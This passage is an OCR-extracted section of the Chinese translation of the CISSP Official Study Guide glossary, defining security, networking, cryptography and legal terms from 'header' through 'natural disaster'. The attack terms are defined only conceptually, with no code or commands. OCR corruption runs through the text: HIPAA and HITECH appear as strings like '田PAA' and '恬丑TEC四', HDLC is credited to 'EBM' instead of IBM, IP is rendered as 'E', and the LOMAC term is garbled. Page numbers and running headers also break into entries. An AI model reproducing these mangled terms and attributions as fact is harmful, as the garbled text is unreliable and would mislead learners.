header : 头部
通过协议添加到从较高层协议接收的有效载荷的前面的信息。
Health Information Technology for Economic and Clinical Health Act: 关于经济和临床健康的
卫生信息技术法案(HITECH)
在 2009 年 ， 美国国会通过了 " 关于经济和临床健康的卫生信息技术法案恬丑TEC四" 来修订
田PAA。 这条法律更新了许多 皿PAA 的隐私和安全需求， 并于 201 3 年通过 回PAA Omnibus Rule
实施。 被新法规强制变化的其中一个方面就是在法律对待商业伙伴的方式上， 处理被保护的健康信
息(P田)的组织代表了 四PAA 覆盖的实体。 四TECH 也 引 入了新的数据泄露通告需求。
Health Insurance Portabil ity and Accountabil ity Act: 健康保险易移植性和责任性法案(HIPM)
1 996 年通过的法案， 这使得管理健康保险和健康保护组织仔IMO)的法律发生了 许多变化。 在
四PAA 的规定中， 隐私规定要求对医院、 医师、 保险公司和其他处理或存储个人医疗隐私信息 的组
织实施严格的安全措施。
hearsay evidence : 传闻证据
其他人在庭外告诉证人的内容所形成的证据。 没有经过系统管理员验证的计算机日 志文件也可
能被认为是传闻 证据 。
heartlpulse pattern : 心跳/脉搏模式
生物测定学因素的一个示例， 它是主体行为或生理学上的特征 ， 具有唯一性。 一个人的心目U
脉搏模式被用于建立身份标识或提供身份认证。
hierarchical : 层次
一种 MAC 环境。 层次环境按照顺序的结构(从低安全性到中等安全性， 再到高安全性)将各种分
类标签联系在一起。 结构中 的每个级别或分类标签都是有关系的 。 某个级别中 的许可授权主体访问
同 一级别 以及所有更低级别 中 的所有客体 ， 但禁止访 问 更高级别 中 的任何客体。
hierarchical data model : 层次数据模型
这种数据库将关联的记录和宇段组合为逻辑树结构。 每个字段可能不具有子字段， 也可能具有
一个或多个子宇段， 但是都只 具有一个父宇段。 因此， 数据映射关系为 " 一对 多 "。
High-Level Data Link Control : 高级数据链路控制(HDLC)
一种第 2 层协议， 用 于在同步通信线路上传输数据。 由民 是基于 EBM 的 SDLC 的一种 ISO
标准。 HDLC 支持全双工通信、 点对点和点对多点连接， 提供了 流控制， 并且包括错误检测和纠正。
high-Ievel languages : 高级语言
并非机器语言或汇编语言的编程语言。 这种语言独立于硬件， 井且更容易被人类所理解。 在被
执行之前或执行期间 ， 高级语言必须被转换为机器语言。
术语表
High-Speed Serial lnterface : 高速串行接 口 (HSSI)
第 1 层协议用于将路 由 器和多路复用器连接到 ATM 或帧中 继 以 连接设备。
hijack at1ack : 劫持攻击
在这类攻击中 ， 恶意用户 出现在客户端和服务器之间， 并且随后中断并接管会话。 恶意用户常
常假扮客户端从服务器上获取数据 ， 而服务器并未意识到通信另一方 己经发生 了 变化 。
hoax(aka virus hoax) : 骗局(又称病毒骗局)
一种社会工程学攻击的形式， 通过使用恶意代码欺骗用户破坏 自 己的系统。
honeyneUhoneypot: 蜜罐
单台计算机或整个网络被作为诱捕入侵者的陷阱。 蜜罐系统看上去像是一个合法的网络， 但它
们 1 00%都是伪造的 。 蜜罐系统利用没有修补的程序和没有安全保护的脆弱性来吸引 入侵者， 还可
以使用有吸引 力但却是伪造的数据 。 蜜罐系统被设计用于吸引入侵者的注意力， 并引 导它们进入己
受到限制 的地点 ， 从而让它们远离合法的 网络和机密资源。
host-based IDS : 主机型 IDS(HIDS)
安装在单台计算机上的 IDS， 可以监视该计算机上的可疑活动。 主机型 IDS 能够准确地发现危
及系统安全的文件和进程 ， 或是 由 怀有恶意的用户执行的未经授权的活动 。
hostile applet
试图执行不期望的或恶意的活动 的任何移动代码 。
hot site : 完备场所
在这种配置中 ， 按通常的工作顺序维护备用工作设施， 带有完备的服务器、 工作站和通信链接
设备， 准备承担主要的运营职责 。
hub : 集线器
将多个系统连接在一起成为星型拓扑结构的网络设备。 集线器将入站通信在所有出 站端口上进
行中继。
hybrid at1ack : 混合攻击
一种密码攻击形式， 首先尝试字典攻击， 然后执行某种穷举攻击。 后续的穷举攻击被用于为来
自 字典的密码添加前缀或后缀字符， 从而发现单字符构造不同 密码、 双字符构造不同 密码， 依此
类推。
hybrid cloud : 混合云
一种公共云和私有 云的混合部署 。
721
CISSP 官方学 习指南(第 7 版)
hybrid MAC : 混合 MAC
一种 MAC 环境。 混合环境结合了分层和隔间 区分的概念， 以使得每个等级水平可能包含许多
细分， 与安全域的剩余部分相隔离。 主体必须有正确的许可， 以及在特定隔间 的 "需知" 数据来获
得对隔间区分客体的访 问 。
hyperl ink spoofing : 超链接欺骗
这种攻击用于将通信重定向至欺诈系统或冒 名系统， 或者简单地将通信发送至预定 目 的地之外
的任何地方， 通常是通过恶意更改发送到客户 端文档 的 HTML 代码中 的超链接 URL。
Hype叫ext Transfer Protocol : 超文本传输协议(HTTP)
这个协 议被用于将 Web 页 面元素从 Web 服务器传输至 Web 浏 览器(通过众所周 知的服务
TCP几IDP 端口地址 80)。
Hypertext Transfer Protocol over Secure Sockets Layer: 安全套接层上的超文本传输协议
(HTTPS)
一种标准， 使用端 口 443在Web 服务器和浏 览器客户端之间协商加密的通信会话。
identification : 身份标识
722
身份标识是一个过程， 在这个过程中主体声明身份， 可问责性从此开始。 身份标识的过程可以
包含用户 提供用户 名 、 登录 ID、 个人身份号码(PIN)、 智 能卡或进程 ID 号 。
identification card : 身份证
物理身份标识的一种形式， 通常包含一张主体的照片和/或带有主体附加信息 的磁条。
identity and access provisioning life cycle : 标识和访问开通使用周期
账户 的创建、 管理和删除。 开通是指在创建账户时和在账户生命周期内 向其授予适当的权限。
Identity as a Service or Identity and Access as a Service : 身份和访问即为服务(IDaaS)
一个第三方服务， 提供身份和访问管理。 IDaaS 为云有效提供单点登录， 井在内 部客户访问那
些基于云的软件即服务(SaaS)应用程序时特别有用 。
Identity 丁heft and Assumption Deterrence Act : 身份窃取和冒用 阻止法案
这个法案使得窃取个人身份成为犯罪行为， 并且规定了对任何违反此法律的人处以严厉的犯罪
处罚(最长达 1 5 年 的监禁和/或多达 25 万美元的 罚 款) 。
术语表
ignore risk : 忽略风险
否认风险存在和希望通过忽略风险来认为风险永远不会发生。
immediate addressing : 立即寻址
指向数据的一种方法， 这些数据作为指令的 一部分提供给 CPU 使用 。
impersonation : 假冒
假装某人的身份或联机账户 ， 往往借助于欺骗和会话重放机制。 假冒攻击被视为比伪装更主动
的攻击 。
implementation attack : 实现攻击
这种攻击类型利用密码学系统实现中的弱点， 关注于对软件代码的利用 ， 不仅仅涉及错误与缺
陷 ， 而且还涉及编写加密系统所使用 的方法学 。
inappropriate activities : 不恰当的行为
是指发生在计算机或 IT 基础设施上的行为活动， 它们虽然不是实际的犯罪 ， 但通常要受到内 部
的处罚或被开除。 一些不恰当 的行为类型， 包括生成或查看不适当 的内容、 性骚扰和种族歧视、 浪
费和滥用 。
incident : 事故
发生系统入侵的事件。
incremental backup : 增量备份
只存储那些 自 从最近一次完整备份或增量备份以来被修改过的文件， 也指创建这种备份的过程。
indirect addressing : 间接寻址
作为指令的一部分提供给 CPU 的存储器地址 ， 并不包含 CPU 所使用 的作为操作数的真实数值。
实际上， 存储器地址中包含另一个存储器地址(也许位于不同的页面上)。 然后， CPU 处理器从这个
地址中取出真实的操作数。
Industrial Control System : 工业控制系统(ICS)
一种用于控制工业生产过程和机器的计算机管理设备。 ICS 被广泛应用于众多的工业行业， 包
括制造、 装配、 发电、 配电、 供水、 污水处理、 石油精炼。 有几种 ICS， 包括集散控制系统(DCS)、
可编程逻辑控制器(PLC)和数据采集与监控系统(SCADA)。
industrial espionage : 行业间谍活动
利用非法手段获取竞争者信息的行为。
723
CISSP 官方学习指南(第 7 版)
inference : 推理
这种攻击利用 了几个非敏感信息片的组合， 从而获得对应属于更高级分类的信息的访问能力。
inference engine : 推理引 擎
专家系统的第 二个主要构件 ， 它对知识库 中 的信息进行分析 ， 进而做出 正确 的决策。
information flow model : 信息流模型
专注于信息流的模型 ， 无论信息流是什么样的， 都会确保维护和实施安全性。 信息流模型以状
态机模型为基础 。
information hiding : 信息隐藏
为 了对某个主体隐藏数据， 将数据和主体放置在不同 的 安全域。
informative pol icy : 信息式的策略
此策略被设计用于提供特定主体的信息或知识， 如公司 目标、 任务描述或组织如何与合作伙伴
和客户交流。 信息式的策略不是强制执行的 。
Infrastructure as a 8ervice : 基础设施即服务(laa8)
一种云计算概念 ， 不仅可 以提供按需操作的解决方案， 而且可 以 完全外包 IT 基础设施。
724
infrastructure mode : 基础设施模式
无线网络配置， 使用无线基站将所有无线设备连接到网络， 并可能彼此连接。
inherit(或 inheritance) : 继承(或继承性)
在面向对象编程环境中， 继承性指的是一个类具有来自 另一个类的一个或多个相同方法。 因此，
当 一个类具有来 自 另 一个类的一个或多 个相 同 方法时 ， 就说前者 " 继承 了 " 这些方法。
Initial ization Vector: 初始化向量(IV)
许多密码学解决方案使用 的一种向量， 以便通过增加输入的随机性来增加加密数据的强度。
input validation : 输入验证
在处理接收的输入之前， 检查、 扫描、 过滤或清理从用户 (特别是通过互联网)接收的输入。
inrush : 电涌
电源开始 的 电涌通常与所连接 的 电源有关， 无论电源是主 电源还是替换/辅助 电源。
instance : 实例
在面向对象编程环境中 ， 实例 可以是类的对象、 例 子或表示。
术语表
Instant Messaging : 即时消息(1M)
一种机制， 允许两个用户在互联网上的任何位置进行实时文字聊天。 一些 1M 工具允许文件传
输 、 多媒体、 语音和视频会议 以及更多的功能。
Integrated Services Digital Network : 综合业务数字网(ISDN)
综合业务数字网是一种数字化的端到端的通信机制。 ISDN 由 电话公司开发， 支持在用于承载
语音通信 的 同一设备和基础结构上的高速数字通信 。
integrity : 完整性
确信修改不是由未授权用户进行的， 井且确保授权用户没有进行未授权的修改而表现出 的一种
状态。
intellectual property : 知识产权
无形的资产， 如秘方或生产技术。
interface testing : 接 口测试
接 口 测试评估模块针对接 口 规范的性能， 以确保所有开发工作完成后模块会正常工作。
International Data Encryption Algorithm : 国 际数据加密算法(IDEA)
一种分组密码， 是针对 DES 算法的密钥长度不够而开发的。 DES、 IDEA 在 6 4 位明文/密文分
组的基础上进行操作 ， 但开始操作时使用 1 28 位密钥 。
International Organization for Standardization : 国 际标准化组织(ISO)
一个独立的监督组织， 它定义和维护计算机、 网络连接、 技术标准以及 1 3000 多个其他的商业、
政府和协会国 际标准。
Internet Key Exchange : 互联网密钥交换(I KE)
一种协议， 在 IPSec 的参与方之间提供加密密钥的 安全交换。
1 nternet Message Access Protocol : 网络消息访问协议(IMAP)
从 电子邮件服务器向 电子 邮件客户 端传送电子邮件的协议。
Internet of Things : 物联网(loT)
能够通过互联网彼此通信或与控制 台通信 ， 用来影 响和监视真实世界里设备的集合。
1 nternet Security Association and Key Management Protocol : 互联网安全协会和密钥管理协
议(ISAKMP)
一种协议 ， 为 IPSec 提供后台的安全支持服务。
725
CISSP 官方学习指南(第 7 版)
internet Small Computer System Interface : 互联网小型计算机系统接口 (iSCSI)
一个基于 E 的网络存储标准。 这项技术可以用来支持位置独立的文件存储、 传输和局域网、 广
域网的检索， 或者公共互联网连接。 iSCSI 常被认为是光纤通道的一种低成本替代。
I nternetwork Packet Exchange : 互联网分组交换协议(IPX)
IPX 是 IPX/SPX 网络层协议的一部分， 并使用于(虽然没有严格的要求)20 世纪 90 年代的 Novell
NetWare 网络中 。
726
interpreted languages : 解释语言
被转换为机器语言(执行时每次一条命令)的编程语言。
interrogation : 审问
询 问涉嫌犯罪的人。
interrupt : 中 断(IRO)
设备或计算机组件用于获取 CPU 注意的一种机制 。
interview: 约谈
询 问某人去收集协助进行犯罪调查的信息 。 在约谈中， 被询 问 的人不会被怀疑有罪。
Intranet 内部网
是为拥有与在互联网上发现的相 同 的信息服务而设计的专用 网络。
intrusion : 入侵
这种情况下戚胁主体通过躲过安全控制措施获得访问组织基础设施的权利， 并且直接对资产构
成了威胁 ， 也被称为渗透。
intrusion detection : 入侵检测
一种具体的监控形式 ， 记录信息和实时发生的事件 ， 以便检查不期望的系统访问。
I ntrusion Detection System : 入侵检测系统(IDS)
一种使审计 日 志和实时系统事件的检查 自 动化的产品 。 IDS 通常主要被用于检测入侵企图 ， 但
是也可 以被用于检测系统故障或评价系统总体性能。
IP header protocol field value : IP 报头协议字段值
IP 包头部的一个元素， 这个元素确定 E 数据包净载中使用的协议(通常 ， 这个值为 6 表示 TCP、
为 1 7 表示 UDP、 为l表示 ICMP、 此外还可 以是许多有效的路由协议号)。
IP Payload Compression (IPComp) protocol : IP 有效载荷压缩协议
这个协议允许 IPSec 用 户通过在加密操作之前压缩数据包来增强性能。
IP probes : IP 探测
术语表
使用 自动化工具在一个范围内 ping 每个地址的攻击技术。 对 pmg 请求做出回应的系统被黑客
记录， 便于做进一步分析 。 没有产生回应的地址被认为不能利用并被忽略。
IP Security : IP 安全性(IPSec)
IP 安全性是一种基于标准的机制 ， 为点对点的 TCP/IP 通信提供加密 。
IP spoofing : I P 欺骗
通过这个过程， 怀有恶意的人只是通过重新配置他们的系统就具有可信任系统的 IP 地址， 然后
试 图得到访 问 其他外部资源的权利 。
iris scans : 虹膜扫描
生物测定学因素的一个例子， 它是主体唯一的行为或生理上的特征。 瞌孔周围有色的部分被用
于建立身份标识或提供身份认证。
isolation : 隔离
用 于保证任何行为只影响与进程有关的内存和 资源的概念 。
J
Jailbreak : 越狱
越狱会打破 iOS 设备上的限制 ， 并允许根级别访问底层操作系统。 它类似于运行 Android 操作
系统的设备。
Java
一种独立于平台 的编程语言， 由 Sun Microsystems 公司 开发 。
job description : 工作描述
一种详细文档 ， 概括出 了组织所需特殊职位的要求。 工作描述包括安全分类、 工作任务等信息。
job responsibil ities : 工作职责
要求员 工在常规的基础上执行的特殊工作任务 。
job rotation : 岗位轮换
组织通过让员工在不同的工作中转换职位， 从而提高整体安全性的一种方法。 岗位轮换有两种
727
CISSP 官方学习指南(第 7 版)
功能。 首先， 它提供了一种知识冗余的类型 。 其次， 人员流动可以减少欺诈、 更改数据、 偷盗、 怠
工和滥用信息的风险。
728
K
Keccak 算法
在 2012 年， 美 国 联邦政府宣布选择 Keccak 算法作为 SHA-3 算法。
Kerberos
基于票据的 身份认证机制 ， 它来用被信任的第三方提供身份标识和身份认证。
Kerchoff 假设/原则
算法应当公开， 但是所有密钥都应当保密。 大多数算法都遵循 Kercho:ff假设或原则， 但不是所
有的算法都如此。
kernel : 内核
总 是驻留在内存中 的操作系统部分(因此可 以根据 需要 随时运行)。
kernel proxy firewalls : 内核代理防火墙
一种防火墙类型， 被集成到操作系统的核心， 提供会话和数据包评估的多个层次。 内 核代理防
火墙被称为第 5 代防火墙。
key : 密钥
1) 用来加密或解密消息的密值。
2) 数据库的列、 属 性或宇段。
Key Distribution Center: 密钥分发中心(KDC)
Kerberos 身份认证系统的一个要素。 KDC 维护所有己注册的主体和客体的秘密密钥。 KDS 还
是一个 COMSEC 机构 ， 负责分配对称密码系统的密钥 ， 特别适用 于政府机构 。
key escrow system : 密钥托管系统
在这种密码学恢复机制中， 密钥被存储在数据库中。 当密钥丢失或受损的时候， 密钥只能由被
授权的密钥托管机构恢复。
keyspace 或 key space : 密钥空间
能够用作特定算法密钥的有效值的范围。
keystroke dynamics : 击键力度
通过分析拍指时 间和按键时间 来度量主体如何使用键盘的生物测定学因素。
术语表
keystroke monitoring : 击键监控
记录用户在物理键盘上进行按键的行为。 记录行为可以通过图像(如使用录像机)或逻辑/技术方
法(如使用捕获硬件设备或软件程序)。
keystroke patterns : 击键模式
生物测定学因素的一个例子， 它是主体唯一的行为或生理上的特征。 个人敲击密码短语的模式
和速度被用于建立身份标识或提供身份认证。
knowledge base : 知识库
专家系统的一个构件， 知识库包括专家系统己知的规则。 知识库试图 以一系列 " i:Ð'then" 语句
对人类专家的 知识进行编码。
knowledge-based detection 知识型检测
IDS 使用的入侵发现机制， 并且基于己知攻击特征的数据库 。 知识型 IDS 的主要缺点是: 只对
己 知 的攻击方法有效 。
known plai n-text attack : 己知明文攻击
在 己知明文攻击中 ， 攻击者具有己加密信息的副本和用于产生密文(副本)的明文信息。 知道这
些信息可以极大帮助攻击者破解较弱 的编码。
KryptoKnight
基于票据的身份认证机制 ， 与 Kerberos 类似， 但基于对等身份认证方式。
L
LAN 扩展
LAN 扩展是一种远程访问 的多层交换机， 被用于通过 WAN 链接连接远距离网络。 此设备令人
奇怪之处在于， 它会创建 WAN， 但是营销商却避开使用 W剧术语， 而是只使用 LAN 和扩展的 LAN
术语来称呼这种设备 。 之所以这样做的原因是: 标准的 WAN 设备与复杂的概念和术语联系在一起，
采用 LAN 术语能够使人们更容易理解这种设备， 井且更容易 开展营销工作 。
land attack : 陆地攻击
一种 DoS 类型。 陆地攻击出现在攻击者向受害者发送很多 SYN 数据包的时候， 并且这时 SY1叫
数据包己经被欺骗使用与受害者相同的源、 目标E地址和端口号。 这会令受害者认为它向 自 己发送
了 一个 TCPIIP 会话的启动包， 从而使得系统出现故障， 常常会导致系统挂起、 崩溃或重新启动 。
lattice-based access control : 格型访问控制
非自主访问控制 的一种变化形式。 格型访问控制为主体和客体间的所有关系定义了访问的上限
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730
CISSP 官方学 习指南(第 7 版)
和下限。 这个上下限可以是任意的 ， 但是它们常常遵循军方或公司 的安全标签级别 。
layer 1 : 第1层
OSI 模型的物理层 。
layer 2 : 第2层
OSI 模型的数据链路层。
layer 3 : 第3层
OSI 模型的网络层 。
layer 4 : 第4层
OSI 模型 的传输层 。
layer 5 : 第5层
OSI 模型的会话层。
layer 6 : 第6层
OSI 模型的表示层 。
layer 7 : 第7层
OSI 模型 的应用层。
Layer 2 Forwarding : 第 2 层转发(L2F)
Cisco 公司开发的相互验证的隧道机制协议。 L2F 不提供加密。
Layer 2 Tunnel ing Protocol : 第2层隧道协议(L2TP)
混合 P盯P 和 L2F 的元素而形成的点对点隧道协议。L2TP 缺少 内置的加密机制 ， 通常使用 IPSec
作为安全保护机制 。
layering : 层次法
多 个安全控制连续地提供安全部署的最大有效性。
licensing : 许可证颁发
说明产品 如何被使用 的合同 。
life cycle assurance : 生命周期保证
基于设计、 架构、 创建、 测试和分发的概念对产品的信任或可靠性进行评估。 最终， 判断一个
产品是否被设计 以安全性作为核心特征。
术语表
lighting : 照明
最常见的一种边界安全控制形式。 照明的主要 目 的是阻拦那些偶然的入侵者、 侵犯者、 小偷和
希望在黑暗 中 实施恶意行为的窃贼。
link enc叩ption : 链路加密技术
这种加密技术使用软件或硬件解决方案， 通过在两个点之间建立一条安全隧道来保护整条通信
线路的安全， 也就是对进入隧道一端的所有数据都进行加密， 对离开隧道另一端的所有数据都进行
解密。
link state routing protocol : 链路状态路由协议
一种路由协议， 维护一张所有己连接网络的拓扑图 ， 并且使用这张拓扑 图确定到达 目 的地的最
短路径。
local alarm systems: 本地警报系统
广播可听到的警报信号的警报系统， 这个最远信号可以传播 400 英尺。 另外， 本地警报系统必
须受到保护， 通常由保安进行保护， 以防止受到损害和破坏。 为了使警报系统有效， 附近必须有安
全团队或保安 ， 他们可 以在警报触发后立即进行响应。
Local Area Network : 局域网(LAN)
一种受地理限制的网络形式， 例如通常在一间单独的办公室、 一栋建筑物或一条城市街区中 。
local cache : 本地缓存
暂时存储在客户端上的任意内容， 用 于将来重新使用 。 一个典型的客户端上有许多本地缓存，
包括 ARP 缓存、 DNS 缓存 以及互联网文件缓存 。
log analysis: 日 志分析
一种更加详细的 、 系统化的监控形式， 在详细分析过程中 ， 对己记录 日 志的信息进行趋势和图
形分析 ， 还对异常的 、 未授权的、 违法的和破坏安全策略的活动进行分析。
logging : 日 志记录
将事件或所发生情况的相关信息记录到 日 志文件或数据库 中 的活动。
logic bomb: 逻辑炸弹
恶意代码客体， 在达到一个或多个满足的逻辑条件前保持休眠。 在满足逻辑条件时， 便被激发。
logical access control : 逻辑访问控制
硬件或软件机制 ， 可 以用于管理对资源和系统的访问 ， 并且提供对这些资源和系统的保护。 逻
辑访问控制和技术访问控制相同。 逻辑访问控制包括加密、 智能卡、 密码、 生物测定学、 受限接口 、
访 问控制列表、 协议、 防火墙 、 路由器、 入侵检测系统和 阑值级别等 。
731
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CISSP 官方学 习指南(第 7 版)
logical topology : 逻辑拓扑
一种网络的逻辑运行 ， 定义了设备的部署和组织以及用于彼此通信的方式， 也称为信号拓扑。
logon credentials : 登录凭证
为建立访 问 ， 由 主体提供的身份标识和身份认证因素。
logon script: 登录脚本
在用户登录时运行的脚本。 登录脚本常常被用于将本地驱动器号映射为网络共享、 启动手自芋或
者打开与经常访问 的系统的链接。
loopback address : 回送地址
用 于创建通过 TCP/IP 协议连接 自 身的软件接口的 E 地址。 回送地址只 由软件处理。 即使网络
硬件和相关的设备驱动程序丢失或受损 ， 回送地址也允许执行 TCP/IP 协议枝测试。
Low Water-Mark Mandatory Access Control : 低水准?虽市IJ访问f空幸IJ(LOMAC)
针对 Linux 的内核模块， 被设计用于保护进程和数据的完整性。 为安全策略提供灵活支持的是
OS 安全体系结构扩展或增强 。
M
M of N 控制
一种保护措施， 在总数为N的代理中 ， 最少需要M个代理一起工作才能完成安全性很高的任务。
machine language : 机器语言
计算机可 以直接执行的编程语言。
macro viruses : 宏病毒
采用拙劣的技术感染在流行的 Microsoft Word 环境中生成的文档 的病毒 。
mai l-bombing : 邮件炸弹
一种攻击形式， 当有足够数量的 电子邮件信息被指向某个单一用户 的邮箱或通过一台特定的
STMP 服务器时， 就可能导致拒绝服务攻击。
maintenance : 维护
在面临操作转换 、 数据处理 、 存储和环境需求时 ， 为保证持续的运营所需 的各种任务。
maintenance hook : 维护挂接程序
只 有系 统开发者知道的系统入口点， 也被称为后 门 。
术语表
mal icious code : 恶意代码
包括广泛的可编程的计算机安全威胁的代码对象， 这些威胁针对不同 的网络、 操作系统、 软件
和物理安全脆弱性， 从而将恶意的内 容散播到计算机系统中 。
mandatory access control : 强制性访问控制
一种访问 控制机制 ， 使用安全标签来管理主体对客体的访 问 。
mandatory vacations 强制性休假
一种安全策略， 要求所有的员工一年休假一次， 这样可以审计和确认员工的工作任务和权限，
通常 比较容易 检测 到滥用 、 欺骗或疏忽行为。
man-in-the-middle attack : 中间人攻击
一种攻击类型， 在恶意用户能够将 自 己置身于通信链接的两个端点之间时发生。 客户端和服务
器都不知道有第三方正在截取并利用 他们的通信会话。
man-made disasters : 人为灾难
由人引起的灾难， 包括爆炸、 电气火灾、 恐怖行为、 电力中断、 其他公共设施故障、 基础设施
故障、 硬件/软件故障 、 劳工困境、 偷窃和故意破坏。
mantrap : 陷阱
通常 由 保安守护的双重门 设置 。 陆阱的 目 的 是牵制主体直到其身份得到确认和认证。
masquerading : 伪装
使用他人的安全 田 ， 获得进入设施或系统的权利 。
Massively Parallel Processing : 大规模井行处理(MPP)
这种技术被用于建立包含数百个或上千个处理器的系统， 每个处理器都有 自 己的操作系统和存
储器/总线资源。
Master Boot Record : 主引导记录(MBR)
硬盘驱动器或软盘的一部分 ， 计算机用它在启 动过程 中装载操作系统。
Master Boot Record (MBR) virus : 主引导记录病毒
攻击 MBR 的病毒， 在系统读取受感染的 h在BR 时， 病毒引 导它读取并且执行存储在另一个地
方的代码， 从而加载全部的病毒到 内存中， 可 能会触发病毒有效载荷的传播。
Maximum Tolerable Downtime 或 Maximum Tolerable Outage: 最大可容忍故障时间(MTD)
或最大容许中断(MTO)
指业务功能无法实施而 不会引 起无法挽 回 的业务损失的最长时间 。
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CISSP 官方学 习指南(第 7 版)
M02(消息摘要 2)
由 Ronald Rivest 在 1 989 年开发的一种散列算法， 为 8 位 的处理器提供安全散列 函数。
M04
MD2 算法的一种增强版本， 于 1 990 年发布。 它对消息进行填补， 从而确保消息的长度比 5 12
位 的倍数短 64 位 。
M05
b在04 算法的下一个版本， 于 199 1 年发布。 它处理 512 位的消息分组， 但是使用 4 轮明显不同
的计算来生成与 MD2 和 阳4 算法长度一样的消息摘要( 128 位)。 一般己经被 SHA-l 或其他更现代
的 哈希算法所取代。
Mean Time To Failure : 平均无故障时间(MTTF)
通常表示某种硬件或介质在可靠性出现问题和应该被替换之前， 可以被重复使用的时间或次数。
Media Access Control address : 介质访问控制(MAC)地址
一个由 6 个字节组成、 以十六进制符号表示的地址。 地址中 的前三个字节指出了物理网络接口
的生产厂商或制造商。 后三个字节表示唯一的由制造商分配给接口 的号码。 没有两个设备会具有相
同 的 MAC 地址。
media analysis : 介质分析
计算机取证分析 的一个分支 ， 涉及存储介质 中信息的识别和提取。
734
meet-in-the-middle aUack : 中 间相遇攻击
在 中间相遇攻击中 ， 攻击者使用一条己知的 明文信息。 然后， 使用每一种可能的密钥(kl)加密这
个明文， 同 时使用所有可能的密钥(k2)解密对应的密文。
memo叩 : 存储器
CPU 可以直接使用的主要内存资源。 主存储器通常由 易失性随机访问存储器但M句组成， 通常
是系统可 以使用 的 最高性能存储资源 。
memo叩 card : 存储卡
一种用于存储数据但不能处理数据的设备 ， 通常由一些闪存器件构成。
memo叩 page : 存储页面
能够移动 出入RAM 的一大块内存， 井且硬盘驱动器上的分页文件是虚拟内存系统的一部分。
memo叩 protection : 内存保护
一个核心的安全组件， 必须对它进行设计和在操作系统中实现， 用于防止一个活动进程与没有
术语表
专门指派或分配的内存区域进行交互。
memo叩-mapped 1/0 : 存储映射 1/0
用 于管理系统组件和 CPU 之间输入/输 出 的技术。
message : 5肖息
针对某个对象 的通信或输入(面向对象编程中的术语和概念头
Message Digest: 消息摘要(MD)
一条消息内容的概要(与文件校验和不 同)， 由 散列算法产生。
metadata : 元数据
针对数据仓库的数据挖掘操作 的结果。
metamodel : 元模型
模型的模型。 因为螺旋模型封装了 另一个模型(瀑布模型)的许多迭代， 所以被视为一种元模型。
Metasploit
一种漏洞扫描和渗透测试工具 ， 用于利用应用程序 、 计算机和 网络系统中 的缺陷。
methods : 方法
在面向对象编程环境中 ， 对 象针对输入(消息)生成输出(行为)所执行的动作或功能。
microcode : 微码
被用于描述存储在 ROM 芯片 中 的软件的术语， 也称为固件。
mil itary and intel ligence aUacks : 军事和情报攻击
主要用于获得机密的和受限制 的执法部 门或军事信息和技术研究信息 。
MIME Object Security Services : MIME 对象安全服务(MOSS)
可以为电子邮件信息提供真实性 、 机密性、 完整性和不可否认性。
misuse case testing : 1:吴用 用 例测i式
软件测试人员用来评估软件脆弱性对应己知风险的过程。 测试人员首先列举己知的误用情况 ，
然后尝试利用 于动和/或 自 动攻击技术利用这些用例， 也称为滥用用例测试。
mitigated : 缓解
削弱风险的过程 。
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CISSP 官方学 习指南(第 7 版)
Mobile Device Management: 移动设备管理(MDM)
一个管理移动设备的软件解决方案， 该方案解决员工使用移动设备访问公司 资源的挑战性任务。
MDM 的 目 标是提高安全性， 提供监测 、 远程管理、 支持和故障排除。
mobile sites : 移动场所
移动场所对于传统的恢复场所而言属于非主流的替代方案。 它们通常由设备齐全的拖车或其他
容易重新安置的单元组成。
Modem : 调制解调器
一个传统的陆线调制解调器(调制器-解调器)是一种通信装置， 其在模拟信号和数字信息之间进
行覆盖或调制 ， 以 支持在公共 电话网络(PSTN)线路上进行计算机通信 。
modification attack : 修改攻击
一种攻击， 能够更改被捕获的数据包， 然后将其放回到系统中。 被修改的数据包被设计为能够
避开改 良 的身份认证机制和会话排序限制 。
module testing : 模块测试
对存在不同规范的每个独立的或自 包含的代码段都进行独立于其他所有模块的测试， 也可以被
称为组件测试。 模块测试可 以被视为单元测试 的父类或超类。
modulo : 模
在 除法操作完成后得到的余数。
MONDEX
被设计用于管理智能卡上现金的一种 电子支付系统和协议。
monitoring : 监控
指于工或利用程序审查己记录 的 日 志的信息， 以便寻找特殊情况的活动 。
motion detector: 运动探测仪
在特殊区域使用 的设备， 用 于感知物体的运动 。
multicast : 多播
针对多个确定接收者 的通信传输方法。
multifactor authentication : 多 因素认证
使用两个或多个因素认证。 多因 素身 份认证使用 多个因素(你知道什么 、 你拥有什么和你是什
么)。 相 比之下 ， 密码和 PIN 并不能算作多因素身份认证， 因为这两种方法都属你知道什么 。
术语表
multilayer protocols : 多层协议
一个协议套件或集合， 包括几十个跨越 OSI 模型不同协议枝层的单独协议。 TCPIIP 是一个常见
的 多层协议。
multi level security mode : 多级安全模式
被授权在多种安全级别上处理信息的系统， 即使在所有系统用户都没有恰当的许可或需要了 解
所有系统处理的信息的情况下也 是如此。
multimedia collaboration : 多媒体协作
多媒体协作是使用不同的多媒体通信解决方案来支持远程协作(人们通过远程在一个项 目 上一
同工作)。 通常， 协作允许人员跨越不同 的时间框架同时工作 。 协作可以通过多媒体功能用于跟踪变
化。 协作可以和 电子邮件 、 聊天、 VoIP、 视频会议、 电子白板的使用 、 在线文档编辑、 实时文件交
换 、 版本控制 以及其他工具进行合作 。
multipartite virus : 多歧病毒
这种病毒使用不止一种传播技术， 试图穿透只有一种或其他某种防御方法的系统。
multiprocessing : 多重处理
这种技术可 以使计算系统利用多个处理器的能力完成一个应用程序的 处理任务 。
multiprogramming : 多程序设计
为了达到提高运算效率的 目 的， 多程序设计通过操作系统对一个处理器上的两个任务进行协调，
模拟两个任务同时执行的情况。 多程序设计被认为是一种相对过时的技术， 除了在比较老的系统中
能够找到 ， 如今 己经很少使用 了 。
MultiProtocol Label Switching : 多协议标签交换(MPLS)
一种高通过、 高性能的网络技术， 它将数据在网络中 以基于最短路径的标签而不是更长的网络
地址进行传输。
multistate : 多态
这个术语用于描述经过认证、 可使用特定安全机制同时处理多个安全级别问题的系统。 这些安
全机制被设计用来阻止信息跨越不同 的安全级别。
multitasking : 多任务处理
指同时处理两个或更多 个任务的系统。
multithreading : 多线程处理
多个用户使用相同 的进程而不会彼此影响 。
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CISSP 官方学 习指南(第 7 版)
mutation fuzzing : 突变 fuzzing
一种修改 己知输入 以创建可能触发意外的合成输入的 fuzzing 形式， 也称为变异 也zzmg。
Mutual Assistance Agreement : 相互援助协议(MAA)
两个组织保证在灾难发生的时候通过共享计算设施或其他技术资源彼此相 互援助的协议。
N
natural disaster: 自 然灾难
